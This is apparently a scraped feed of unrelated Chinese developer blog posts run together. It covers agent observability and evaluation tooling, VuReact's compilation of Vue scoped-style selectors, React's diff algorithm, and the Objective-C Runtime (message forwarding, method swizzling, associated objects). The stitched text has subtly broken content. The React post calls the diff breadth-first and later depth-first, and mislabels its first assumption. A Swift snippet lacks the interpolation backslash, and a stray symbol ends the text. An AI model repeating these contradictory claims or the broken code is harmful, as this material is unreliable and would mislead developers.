  • 最终答案和中间证据联动,点击引用可回跳对应 step

同样是等三十秒,转圈和看着系统一步步推进,感受差很多。过程可见,用户能更早纠偏,也能少烧不少无效 token

离线评测资产、线上观测与可迁移遥测

Agent 要长期迭代,既要离线侧能证明有没有变好,也要线上侧能看见真实流量里发生了什么,还要让埋点与字段尽量不因换观测后端而推倒重来。这一节把三件事收进一条工程链条:先固定可迁移遥测语义,再让离线评测与回归产出可进闸门的证据,最后在线上仍用同一套字段读 trace、成本、实验与用户反馈。底座语义与线上观测必须同源,否则灰度里对不上离线报表。

image.png

语义底座先把典型 span 名、属性键和事件形状写进约定,常见列包括 trace_idspan_idmodeltoken 进出与 cost_usd 等,并对齐 GenAIOpenTelemetry 社区里已经有人在用的写法。这样换导出器或换观测后端时,主要改连接与映射,业务代码少动字段名。离线评测与回归靠版本化用例集、对结果与格式与合规的断言、与基线的对照统计、接入 CI 的闸门和可计量的回归耗时,把主观手感压成可复跑的 Eval 分数。线上可观测在同一套定义下读 trace 时间线、成本随时间和用量变化、AB 流量拆分、用户情绪与满意线索、以及告警与异常。工程上的收束是:语义先沉淀进离线证据,离线结论再拿去和线上 trace、金丝雀或灰度放量对齐,团队才不会各写各的报表。

落到工具时,离线侧靠版本化用例、对过程与结果的断言、基线对比和接入 CI 的闸门把手感变成证据。promptfooDeepEvalRagas 分别偏配置、断言、指标,关键是同一套用例能从开发跑到发布。线上噪声更大,盯住任务完成率、工具成功与超时、成本与风险侧信号即可。LangfuseLangSmithPhoenixHelicone 选型看能否把 trace、实验、分数和反馈收进同一面板。OpenTelemetryGenAI 语义适合当公共约定,先统一 LLMtoolagent 如何建 span,以及 token、延迟、错误码等字段,迁移成本主要在导出器。

前端加 LangChain 开发者可以重点讲的几点

前端把运行中的系统摊开给人看:状态、步骤、工具、风险、中断重试入口,以及 token 与成本摘要。trace 不应只躺在仓库里,而要变成时间线、Step 卡片、风险高亮和失败回放。模型差不多时,把过程讲清楚往往比再换一次模型更能换来信任和效率。

一个成熟 Agent 项目的技术区分度该怎么描述

重点不是接了哪个新模型,而是能否在真实业务里持续跑稳、可对比、可审计。下面是一段自述示例,可按实际情况改名词和程度。

我做的不是调模型、调工具的 Demo,而是面向真实用户的 Agent 运行系统。LLM 与编排负责生成与流转,Harness、状态机 Loop、风险控制、HITL、可观测和评测负责稳定与可治理。 工程上我会打通离线评测、线上观测和回归闸门,用统一遥测语义串起 trace、成本、质量与用户反馈,让每次迭代可对比、可回放、可审计。 我有前端背景,会把过程可视化、干预入口和体验指标当成主交付物,而不是只交最后一段文本。

总结

RAG 可以做,Agent 也可以做,它们都只是手段,不是终点。真正拉开差距的是你有没有把需求、执行、观测、评测和迭代接成闭环。下面四条自检,有一半答不上来,就值得对照正文里的分层补一补。

  • 执行与韧性:是否有独立运行时与预算约束,Loop 是否显式状态机,故障能否回放,成本与步数是否可解释。
  • 质量与证据:是否有维护中的评测集、CI 或合并前的回归闸门,红队用例是否像测试代码一样可复跑,而不是发版前凭手感点几下。
  • 安全与过程:输入、工具调用前、输出与轨迹四层里,哪些已经落地成策略与埋点,高风险路径是否默认进审批而不是靠运气不触发。
  • 观测与闭环:线上是否能同时看到 trace、成本、实验与用户反馈,离线分数与线上信号能否进同一套界面或同一套数据模型,而不是各团队各一份报表。

能跑通链路只是起点,能不能长期闭环才是标准。

你有没有把它做成一个能稳定运行、可观测、可评测、可干预、还能持续迭代的闭环系统。

走前端加 LangChain 这条线的人,手里正好捏着界面、状态和事件,把这些和模型、工具、观测、评测缝在一起,比单纯多接一个模型更难被模板替代,写进自我介绍里也更有话可说。

Vue 的 :deep/:global/:slotted 怎么转成 React ?一份对照指南?

VuReact 是一个能将 Vue 3 代码编译为标准、可维护 React 代码的工具。今天就带大家直击核心:Vue 作用域样式中的穿透选择器(:deep/:global/:slotted)经过 VuReact 编译后会变成什么样的 React 代码?

前置约定

为避免示例代码冗余导致理解偏差,先明确两个小约定:

  1. 文中 Vue / React 代码均为核心逻辑简写,省略完整组件包裹、无关配置等内容;
  2. 默认读者已熟悉样式 :deep/:global/:slotted 的用法。

编译对照

:global():声明全局样式

:global() 用于在 scoped 样式中声明一段不受作用域限制的全局样式。VuReact 的处理方式:移除 :global() 包装,保留内部选择器原样输出

  • Vue 代码:
<!-- Component.vue -->
<template>
  <div class="component">
    <div class="global-class">全局类</div>
  </div>
</template>

<style scoped>
.component {
  :global(.global-class) {
    color: green;
  }
}
</style>
  • VuReact 编译后 CSS:
/* component-abc123.css */
.component[data-css-abc123] {
  .global-class {
    color: green;
  }
}

从示例可以看到::global(...) 被完全移除,内部的选择器照常展开,且不添加 scope 属性。这样 .global-class 就是一个全局可用的样式类。


:deep():样式穿透

:deep() 是 scoped 样式中最常用的穿透选择器,用于让父组件的样式能够影响子组件内部的元素。VuReact 的处理策略是::deep(...) 左侧的选择器加上 scope,右侧(:deep 内部)的选择器保持原样

在嵌套规则中使用 :deep()

  • Vue 代码:
<!-- Component.vue -->
<template>
  <div class="component">
    <div class="nested-component">深层嵌套组件</div>
  </div>
</template>

<style scoped>
.component {
  :deep(.nested-component) {
    background: yellow;
  }
}
</style>
  • VuReact 编译后 CSS:
/* component-abc123.css */
.component[data-css-abc123] {
  & .nested-component {
    background: yellow;
  }
}

从示例可以看到:在嵌套规则中,:deep() 左侧是 .component(加 scope),右侧 .nested-component(不加 scope)。

在单行规则中使用 :deep()

:deep() 也可以在非嵌套的单行规则中使用,左侧部分仍然被 scoped。

  • Vue 代码:
<style scoped>
.parent :deep(.btn) { color: red; }
</style>
  • VuReact 编译后 CSS:
.parent[data-css-abc123] .btn { color: red; }

:deep() 紧贴选择器

  • Vue 代码:
<style scoped>
.parent:deep(.btn) { color: red; }
</style>
  • VuReact 编译后 CSS:
.parent[data-css-abc123] .btn { color: red; }

带组合器的 :deep()

  • Vue 代码:
<style scoped>
.parent > :deep(.btn) { color: red; }
</style>
  • VuReact 编译后 CSS:
.parent[data-css-abc123] > .btn { color: red; }

:deep() 作为选择器起始

:deep() 位于选择器最左侧时(无左侧部分),VuReact 会直接用 [scopeId] 作为左侧。

  • Vue 代码:
<style scoped>
:deep(.btn) { color: red; }
</style>
  • VuReact 编译后 CSS:
[data-css-abc123] .btn { color: red; }

处理逻辑:左侧为空时,用 [data-css-abc123] 自身作为 scoped 占位。

:deep() 展开逗号选择器

:deep() 内部可以包含多个逗号分隔的选择器,VuReact 会逐一展开。

  • Vue 代码:
<style scoped>
.a :deep(.x, .y) { color: red; }
</style>
  • VuReact 编译后 CSS:
.a[data-css-abc123] .x, .a[data-css-abc123] .y { color: red; }

从示例可以看到::deep(.x, .y) 被展开为两个独立的选择器 .x.y,各自与左侧 .a[data-css-abc123] 拼接。


4. :slotted():插槽样式

:slotted() 用于为插槽传入的内容设置样式,VuReact 当前的处理方式是简单解包

  • Vue 代码:
<style scoped>
.component {
  :slotted(.slotted-content) {
    display: flex;
  }
}
</style>
  • VuReact 编译后 CSS:
.component[data-css-abc123] {
  .slotted-content {
    display: flex;
  }
}

从示例可以看到::slotted(...) 被移除,内部选择器 .slotted-content 保留,但不加 scope。完整的 :slotted() 语义支持仍在解决中。


复杂选择器共存

在一个组件中,:global:deep:slotted 可以与标准 scoped 选择器以及伪类(:hover::before 等)混合使用。

  • Vue 代码:
<style scoped>
.component {
  &:hover { opacity: 0.8; }
  &.active { font-weight: bold; }
  :global(.global-class) { color: green; }
  :deep(.nested-component) { background: yellow; }
  :slotted(.slotted-content) { display: flex; }
  &:not(:first-child) { margin-top: 20px; }
  &:nth-child(2n) { background: #f0f0f0; }
  &::before { content: '→'; }
  &::placeholder { color: gray; }
}
</style>
  • VuReact 编译后 CSS:
.component[data-css-abc123] {
  &:hover { opacity: 0.8; }
  &.active { font-weight: bold; }
  .global-class { color: green; }
  & .nested-component { background: yellow; }
  .slotted-content { display: flex; }
  &:not(:first-child) { margin-top: 20px; }
  &:nth-child(2n) { background: #f0f0f0; }
  &::before { content: '→'; }
  &::placeholder { color: gray; }
}

共处规则

选择器类型 行为 scope 注入
标准选择器 尾部追加 [data-css-xxx]
伪类/属性选择器 保持原样,插入 scope 在其之前
:global(...) 移除包装,内部不加 scope
:deep(...) 左侧加 scope,内部不加
:slotted(...) 移除包装,内部不加 scope ⚠️(待完善)

编译策略总结

VuReact 的作用域样式穿透选择器编译策略展示了完整的 scoped 选择器转换能力

  1. :global() 转换:移除 :global(...) 包装,内部选择器按全局样式输出,不加 scope
  2. :deep() 转换:将选择器按 :deep(...) 位置切割,左侧加 scope,内部保持穿透能力,支持嵌套、组合器、逗号展开等复杂场景
  3. :slotted() 转换:移除 :slotted(...) 包装,内部选择器保持原样(完整语义实现 WIP)
  4. 伪类兼容:hover::before:not():nth-child() 等伪类保持原样,scope 只插入在伪类之前
  5. 嵌套兼容:与 SCSS/Less 的 & 嵌套语法协作良好

支持的穿透选择器

选择器 状态 说明
:deep() ✅ 完整支持 左侧 scoped + 右侧穿透
:global() ✅ 完整支持 移除包装,全局样式
:slotted() ⚠️ 部分支持 解包处理,完整语义待完善

VuReact 的编译策略确保了从 Vue 到 React 的平滑迁移。编译后的 CSS 选择器既保持了 Vue scoped 样式的作用域隔离语义,又能通过 :deep():global() 灵活控制样式穿透范围,让迁移后的应用保持完整的 scoped 样式能力。

🔗 相关资源


✨ 如果你觉得本文对你理解 VuReact 有帮助,欢迎点赞、收藏、关注!

React Diff算法:3个“神级假设”让虚拟DOM快得像闪电

前言

假设你有两棵各有1000个节点的树,传统树对比算法需要十亿级别的操作(O(n³))。那根本不可能用在浏览器里——一更新就死机。React团队发现,在实际Web应用中,树的变化符合一些规律,于是他们大胆做了3个假设,把复杂度降到了线性(O(n))。虽然有些场景会误判,但在99%的情况下,它准得吓人还快得离谱。

今天我们就来揭开这3个“神级假设”,以及React是怎么基于它们对比DOM的。

一、3个假设:React的“赌注”

  1. 同层对比:两个不同类型的元素会产生不同的树。
    比如 <div> 变成 <span>,React会直接销毁旧子树,重建新子树,不会浪费时间去比较子节点。
  2. 唯一标识:开发者可以通过 key 属性告诉React哪些子元素是稳定的。
    比如列表顺序变化时,有key就能识别“这个li还是那个li”,只是挪了个位置。
  3. 同级子节点只在该层比较:不会跨层级移动节点。
    如果某个节点从子节点变成了父节点的兄弟,React会销毁重建,而不是复用。

基于这些假设,React设计出了基于广度优先遍历的Diff算法。

二、节点类型不同:直接“拆房重建”

如果旧树是 <div>,新树是 <span>,React压根不看子节点,直接删掉旧节点及其所有子节点,重新创建 <span> 及子节点。

// 旧
<div><Counter /></div>
// 新
<span><Counter /></span>

即使 <Counter /> 是一样的,整个组件也会被卸载再重新挂载,Counter 的state会丢失,生命周期重新走一遍。

所以尽量保持DOM类型稳定,比如别把 <div> 随意改成 <section>

三、同一类型节点:保留DOM,只更新属性和子节点

如果新旧节点类型相同(比如都是 <div>),React会保留该节点的DOM元素,然后对比属性,更新改变的属性。接着递归对比子节点。

// 旧:<div className="old" title="tip">hello</div>
// 新:<div className="new" title="tip">world</div>

React保留 <div>,把 className"old" 改为 "new",然后对比文本子节点,把 "hello" 改成 "world"

这时子节点的对比就进入“列表对比”阶段。

四、列表对比:没有key VS 有key

这是Diff最精彩的部分。

没有key时:React的“暴力”

假设子节点都是同一类型,但顺序变化。没有key,React只能逐个比较位置。

// 旧:A - B - C
// 新:C - A - B

React的做法:

  1. 旧第一个A,新第一个C:不同,更新A为C。
  2. 旧第二个B,新第二个A:不同,更新B为A。
  3. 旧第三个C,新第三个B:不同,更新C为B。 最终结果正确,但进行了3次更新操作。实际上只需要把C移到最前面就能复用A、B。这就是没有key的低效。

有key时:移动、插入、删除三步走

给每个子节点加唯一key,React就能追踪节点的身份。

// 旧:key=A - key=B - key=C
// 新:key=C - key=A - key=B

React会构建一个“旧节点键值映射”,然后遍历新列表:

  • 新第一个C,在旧里有,且位置变了,标记为“移动”。
  • 新第二个A,旧里有,标记为“移动”。
  • 新第三个B,旧里有,标记为“移动”。 最后React只做一次移动操作(将C移到最前),其余复用。性能大大提升。

注意:千万不要用 index 作为key!因为列表顺序变化时,index也会变,React会误判,导致性能退化和组件状态错乱。

五、跨层级移动:React无能为力

由于第3个假设“不同层级不比较移动”,如果你把一个子节点从父节点内移动到另一个父节点下,React会直接卸载重建,而不是复用。

// 旧
<div>
  <span>hello</span>
</div>
// 新
<span>hello</span>

React会把 <span><div> 下删掉,再重新创建到新位置。虽然有点浪费,但这样可以保持算法简单快速。

六、递归Diff与性能优化

整个Diff过程是递归的:从根开始,深度优先遍历,同级对比子节点。由于假设了同层对比,整个递归树的大小就是原树的大小,复杂度O(n)。

配合 shouldComponentUpdateReact.memo 可以跳过整棵子树的Diff,进一步提升性能。

七、总结:Diff算法的“三板斧”

  • 类型不同:删了重建。
  • 类型相同:保留DOM,更新属性和子节点。
  • 子节点列表:靠key识别身份,移动/增删。

这三条简单规则,让React在大多数场景下既快又准。理解Diff,你就能写出更高效的组件:给列表加稳定key,避免不必要的DOM类型改变,用 memo 跳过无意义的更新。

现在你知道为什么map时要加key,为什么不能随意把div改成span,为什么index做key会出问题了吧?

iOS Runtime 深度解析

iOS Runtime 深度解析:原理、实战与前沿趋势

在 iOS 开发中,Runtime(运行时)是 Objective-C(以下简称 OC)语言的灵魂,也是区分 iOS 初级开发者与中高级开发者的核心门槛。它赋予 OC 动态特性,让代码在编译期无法确定的逻辑,能在运行时灵活调整、动态扩展。随着 Swift 生态的完善和 Apple 技术的迭代,Runtime 并未过时,反而在组件化、性能优化、逆向开发等场景中发挥着不可替代的作用。本文将从原理、实战、前沿三个维度,带你全面吃透 iOS Runtime,结合代码示例拆解核心用法,助力你在实际开发中灵活运用这门“黑魔法”。

一、Runtime 核心基础:是什么与为什么

1.1 什么是 Runtime

Runtime 本质上是一套用 C 和汇编语言编写的 API 集合,是 OC 语言与底层系统之间的桥梁,负责将 OC 代码转换为底层可执行的机器指令,实现动态类型、动态绑定、动态加载等核心特性。简单来说,OC 是“动态语言”,核心就在于 Runtime——编译期我们写的 OC 方法调用、属性访问,最终都会被转换为 Runtime 的 C 函数调用,直到运行时才真正确定具体执行逻辑。

举个直观的例子:我们调用 [object method] 时,编译器并不会直接确定 method 方法的具体实现,而是在运行时通过 Runtime 查找该方法的实现并执行,这也是 Runtime 与静态语言(如 C++)的核心区别。

1.2 Runtime 的核心价值

  • 动态扩展:无需修改类的源码,即可为类添加方法、属性,突破 OC 语法限制;
  • 解耦优化:在组件化、插件化开发中,通过 Runtime 实现组件间通信,降低耦合度;
  • 底层适配:解决系统 API 兼容、私有方法调用、逆向开发等场景的核心问题;
  • 性能优化:通过方法缓存、动态解析等机制,提升 App 运行效率。

1.3 核心数据结构

Runtime 的所有功能,都围绕以下几个核心结构体展开,理解它们是掌握 Runtime 的基础:

(1)objc_object:对象的本质

OC 中所有对象的底层都是 objc_object 结构体,核心字段是 isa 指针,用于指向对象所属的类。

// objc 对象的底层结构体
struct objc_object {
    Class isa; // 指向类对象的指针,核心字段
};

// OC 对象的本质就是 objc_object 的指针
typedef struct objc_object *id;

(2)objc_class:类的本质

类对象(Class)的底层是 objc_class 结构体,存储着类的元信息(方法列表、属性列表、协议列表等)。

struct objc_class {
    Class isa; // 指向元类(Meta Class),用于存储类方法
    Class super_class; // 指向父类
    const char *name; // 类名
    long instance_size; // 实例对象的内存大小
    struct objc_ivar_list *ivars; // 实例变量列表
    struct objc_method_list **methodLists; // 方法列表(可动态修改)
    struct objc_cache *cache; // 方法缓存(提升查找效率)
    struct objc_protocol_list *protocols; // 协议列表
};

(3)Method、SEL、IMP:方法的三要素

  • SEL:方法选择器,本质是字符串,用于唯一标识一个方法(如 @selector(method:));
  • IMP:函数指针,指向方法的具体实现,是方法执行的核心;
  • Method:方法结构体,封装了 SELIMP 的对应关系。
// 方法结构体
struct objc_method {
    SEL method_name; // 方法选择器
    char *method_types; // 方法类型编码(返回值、参数类型)
    IMP method_imp; // 方法实现的函数指针
};

二、Runtime 核心机制:从原理到实战

Runtime 的核心机制包括消息传递、方法缓存、动态解析、消息转发、方法交换等,其中消息传递是基础,其他机制都是基于消息传递的扩展。以下结合实战代码,拆解每个机制的原理与用法。

2.1 消息传递:OC 方法调用的本质

OC 中所有方法调用,本质上都是 Runtime 的 objc_msgSend 函数调用。当我们写下 [object method:arg] 时,编译器会自动转换为:

objc_msgSend(object, @selector(method:), arg);

消息传递的完整流程

  1. 通过对象的 isa 指针,找到对象所属的类;
  2. 优先在类的 cache(方法缓存)中查找对应 SELIMP
  3. 若缓存未命中,遍历类的 methodLists 查找方法;
  4. 若当前类未找到,沿着 super_class 父类链向上查找,直到找到 NSObject;
  5. 若找到方法,执行 IMP 并将方法加入缓存(提升下次查找效率);
  6. 若未找到方法,进入消息转发流程(后续详解)。

实战:手动调用 objc_msgSend

需导入 Runtime 头文件 #import <objc/runtime.h>,手动调用消息传递函数:

#import <objc/runtime.h>

@interface Person : NSObject
- (void)sayHello:(NSString *)name;
@end

@implementation Person
- (void)sayHello:(NSString *)name {
    NSLog(@"Hello, %@", name);
}
@end

// 调用方式
Person *person = [[Person alloc] init];
// 1. 常规调用
[person sayHello:@"Runtime"];
// 2. 手动调用 objc_msgSend
SEL sel = @selector(sayHello:);
objc_msgSend(person, sel, @"Runtime"); // 输出:Hello, Runtime

2.2 方法缓存:提升消息传递效率

Runtime 为每个类维护了一个 objc_cache(方法缓存),用于存储最近调用过的方法(SEL + IMP)。缓存采用哈希表实现,查找速度远快于遍历方法列表,这是 Runtime 优化性能的核心手段之一。

核心特点:

  • 缓存只存储“最近调用”的方法,避免缓存过大;
  • 每次调用方法后,若缓存未命中,找到 IMP 后会自动加入缓存;
  • 类的缓存会随着方法调用动态更新,优先保留高频调用的方法。

2.3 动态解析与消息转发:方法未找到的“补救机制”

当消息传递流程中未找到方法时,Runtime 不会直接崩溃,而是提供了三层“补救机制”,让我们有机会动态补充方法实现,避免 App 闪退。

(1)动态方法解析(第一层补救)

通过重写 +resolveInstanceMethod:(实例方法)或 +resolveClassMethod:(类方法),动态为未实现的方法添加实现。

@implementation Person
// 动态解析实例方法
+ (BOOL)resolveInstanceMethod:(SEL)sel {
    if (sel == @selector(sayHello:)) {
        // 为 sel 动态添加实现:参数1=类,参数2=SEL,参数3=IMP,参数4=方法类型编码
        class_addMethod(self, sel, (IMP)dynamicSayHello, "v@:@");
        return YES;
    }
    return [super resolveInstanceMethod:sel];
}

// 动态添加的方法实现(C语言函数)
void dynamicSayHello(id self, SEL _cmd, NSString *name) {
    NSLog(@"动态解析:Hello, %@", name);
}
@end

// 调用未声明的方法(不会崩溃)
Person *person = [[Person alloc] init];
[person sayHello:@"Dynamic Resolve"]; // 输出:动态解析:Hello, Dynamic Resolve

(2)消息转发(第二层+第三层补救)

若动态解析未处理(返回 NO),则进入消息转发流程,分为两步:

  1. 快速转发:通过 -forwardingTargetForSelector:,将消息转发给另一个对象处理;
  2. 完整转发:若快速转发未处理,通过 -methodSignatureForSelector: 获取方法签名,再通过 -forwardInvocation: 手动处理消息。
实战:快速转发
@interface Student : NSObject
- (void)sayHello:(NSString *)name;
@end

@implementation Student
- (void)sayHello:(NSString *)name {
    NSLog(@"Student 打招呼:Hello, %@", name);
}
@end

@implementation Person
// 快速转发:将消息转发给 Student 对象
- (id)forwardingTargetForSelector:(SEL)aSelector {
    if (aSelector == @selector(sayHello:)) {
        return [[Student alloc] init];
    }
    return [super forwardingTargetForSelector:aSelector];
}
@end

// 调用方法,消息会转发给 Student
Person *person = [[Person alloc] init];
[person sayHello:@"Forward"]; // 输出:Student 打招呼:Hello, Forward
实战:完整转发
@implementation Person
// 1. 获取方法签名(必须实现,否则崩溃)
- (NSMethodSignature *)methodSignatureForSelector:(SEL)aSelector {
    if (aSelector == @selector(sayHello:)) {
        // 方法签名:返回值void(v),参数id(@)、SEL(:)、NSString(@)
        return [NSMethodSignature signatureWithObjCTypes:"v@:@"];
    }
    return [super methodSignatureForSelector:aSelector];
}

// 2. 手动处理消息
- (void)forwardInvocation:(NSInvocation *)anInvocation {
    SEL sel = anInvocation.selector;
    Student *student = [[Student alloc] init];
    if ([student respondsToSelector:sel]) {
        [anInvocation invokeWithTarget:student]; // 转发给 Student
    } else {
        [super forwardInvocation:anInvocation];
    }
}
@end

2.4 方法交换(Method Swizzling):Runtime 黑魔法

Method Swizzling(方法交换)是 Runtime 最常用的实战技巧,通过交换两个方法的 IMP,实现“hook”效果,无需修改原方法源码,即可拦截、扩展原方法的功能(如埋点、日志、性能监控)。

核心原理:交换两个 Method 结构体中的 IMP 指针,让原 SEL 指向新的实现,新 SEL 指向原实现。

实战:拦截 UIViewController 的 viewDidLoad 方法

#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation UIViewController (Swizzling)
// 在 +load 方法中执行方法交换(+load 方法会在类加载时自动调用,且只调用一次)
+ (void)load {
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        // 1. 获取两个方法
        Class cls = [self class];
        SEL originalSel = @selector(viewDidLoad);
        SEL swizzledSel = @selector(swizzled_viewDidLoad);
        
        Method originalMethod = class_getInstanceMethod(cls, originalSel);
        Method swizzledMethod = class_getInstanceMethod(cls, swizzledSel);
        
        // 2. 交换方法实现
        method_exchangeImplementations(originalMethod, swizzledMethod);
    });
}

// 新的方法实现(拦截 viewDidLoad)
- (void)swizzled_viewDidLoad {
    // 1. 执行原 viewDidLoad 方法(此时 swizzled_viewDidLoad 指向原实现)
    [self swizzled_viewDidLoad];
    
    // 2. 扩展功能(如埋点、日志)
    NSLog(@"拦截到 %@ 的 viewDidLoad", self.class);
}
@end

方法交换的注意事项

  • dispatch_once_t 保证方法交换只执行一次,避免多次交换导致逻辑错乱;
  • 优先在 +load 方法中执行交换(类加载时执行,时机最早),避免在 +initialize 中执行(可能被多次调用);
  • 交换类方法时,需使用 class_getClassMethod 获取方法,而非 class_getInstanceMethod
  • 避免交换系统私有方法,可能导致 App 审核失败或系统崩溃。

2.5 动态添加属性与关联对象

OC 中,分类(Category)默认不能添加实例变量(ivar),但通过 Runtime 的关联对象(Associated Object),可以间接为分类添加“属性”,本质是将属性值存储在外部哈希表中,与对象关联起来。

实战:为 UIButton 分类添加属性

#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@interface UIButton (Extension)
// 声明属性
@property (nonatomic, copy) NSString *customName;
@end

@implementation UIButton (Extension)
// 定义关联对象的 key(唯一标识)
static const void *CustomNameKey = &CustomNameKey;

// 重写 setter 方法
- (void)setCustomName:(NSString *)customName {
    // 关联对象:参数1=对象,参数2=key,参数3=值,参数4=内存管理策略
    objc_setAssociatedObject(self, CustomNameKey, customName, OBJC_ASSOCIATION_COPY_NONATOMIC);
}

// 重写 getter 方法
- (NSString *)customName {
    // 获取关联对象
    return objc_getAssociatedObject(self, CustomNameKey);
}
@end

// 使用
UIButton *button = [UIButton buttonWithType:UIButtonTypeSystem];
button.customName = @"我的按钮";
NSLog(@"按钮名称:%@", button.customName); // 输出:按钮名称:我的按钮

关联对象的内存管理策略

// 对应 OC 属性的内存修饰符
OBJC_ASSOCIATION_ASSIGN; // assign
OBJC_ASSOCIATION_RETAIN_NONATOMIC; // strong, nonatomic
OBJC_ASSOCIATION_COPY_NONATOMIC; // copy, nonatomic
OBJC_ASSOCIATION_RETAIN; // strong, atomic
OBJC_ASSOCIATION_COPY; // copy, atomic

三、Runtime 前沿趋势:适配 Swift 与 Apple 新生态

随着 Swift 成为 iOS 开发的主流语言,以及 Apple 推出的新工具、新框架(如 Xcode 26、基础模型框架),Runtime 的应用场景也在不断扩展,不再局限于 OC 开发,而是与 Swift 生态深度融合,呈现出全新的发展趋势。

3.1 Runtime 与 Swift 的协同发展

Swift 是静态语言,编译期会进行类型检查,但其底层仍然依赖 Runtime(尤其是与 OC 交互时),同时 Swift 也提供了自己的动态特性(如 @dynamicMemberLookup@objc 关键字),与 OC Runtime 形成互补。

  • Swift 中使用 @objc 修饰的方法、属性,会被暴露给 Runtime,可通过 OC Runtime API 调用;
  • Swift 5.0+ 引入的 @dynamicMemberLookup,允许动态访问属性,本质是 Runtime 动态特性的 Swift 封装;
  • 在 Swift 组件化开发中,通过 Runtime 实现跨模块调用(如通过类名字符串创建对象),解决 Swift 静态编译的限制。

实战:Swift 中调用 Runtime API

import ObjectiveC

class Person: NSObject {
    @objc func sayHello(_ name: String) {
        print("Hello, (name)")
    }
}

// 1. 动态创建对象
let className = "RuntimeDemo.Person"
guard let cls = NSClassFromString(className) as? Person.Type else { return }
let person = cls.init()

// 2. 动态调用方法
let sel = NSSelectorFromString("sayHello:")
person.perform(sel, with: "Swift Runtime") // 输出:Hello, Swift Runtime

// 3. 动态添加关联对象
extension UIButton {
    private static let customKey = UnsafeRawPointer(bitPattern: 0x123456)!
    var customName: String? {
        get {
            objc_getAssociatedObject(self, UIButton.customKey) as? String
        }
        set {
            objc_setAssociatedObject(self, UIButton.customKey, newValue, .OBJC_ASSOCIATION_COPY_NONATOMIC)
        }
    }
}

3.2 Runtime 在 Apple 新生态中的应用

随着 Apple 发布 Xcode 26、基础模型框架等新工具,Runtime 的应用场景进一步扩展,尤其在智能开发、性能优化、跨平台适配等方面发挥着重要作用:

  1. 智能开发辅助:Xcode 26 集成了大语言模型,可通过 Runtime 分析类的结构、方法列表,自动生成代码、修复错误,提升开发效率;
  2. 隐私保护与性能优化:基础模型框架支持设备端 AI 推理,Runtime 可动态管理模型调用的生命周期,避免敏感数据泄露,同时通过方法缓存优化 AI 推理的响应速度;
  3. 跨平台适配:Swift 6.2 支持 WebAssembly,Runtime 可帮助开发者实现 OC/Swift 代码与 Web 端的交互,动态适配不同平台的 API 差异;
  4. 逆向开发与安全防护:在 App 安全领域,通过 Runtime Hook 系统方法,可拦截敏感操作(如密码输入、网络请求),防止数据泄露;同时,也可通过 Runtime 混淆方法名、类名,提升 App 反逆向能力。

3.3 Runtime 的未来展望

尽管 Swift 生态日益完善,但 Runtime 作为 iOS 底层核心技术,短期内不会被替代,反而会随着 Apple 技术的迭代不断升级:

  • 更高效的方法缓存机制:Apple 可能进一步优化 objc_cache 的哈希算法,提升消息传递效率;
  • 更安全的动态扩展:加强 Runtime API 的权限管理,避免恶意代码通过 Runtime 篡改 App 逻辑;
  • 与 AI 深度融合:通过 Runtime 动态适配 AI 模型的调用,实现更智能的代码生成、性能优化。

四、结语

iOS Runtime 是 OC 语言的灵魂,也是 iOS 开发的“内功”。它不仅能帮助我们理解 iOS 底层原理,更能在实际开发中解决很多常规语法无法解决的问题——从组件化解耦、性能优化,到逆向开发、安全防护,Runtime 都发挥着不可替代的作用。

随着 Swift 与 Apple 新生态的发展,Runtime 的应用场景不断扩展,它不再是“小众黑魔法”,而是中高级 iOS 开发者必须掌握的核心技能。学习 Runtime,不仅是学习一套 API,更是培养一种“底层思维”——跳出上层语法的限制,从底层理解代码的执行逻辑,才能写出更高效、更健壮、更具扩展性的 iOS 应用。

最后,希望本文能帮助你快速吃透 Runtime 的核心原理与实战用法,在实际开发中灵活运用这门技术,突破自身开发瓶颈,成为更优秀的 iOS 开发者。未来,Runtime 还会不断进化,期待我们一起探索它的更多可能性。

❌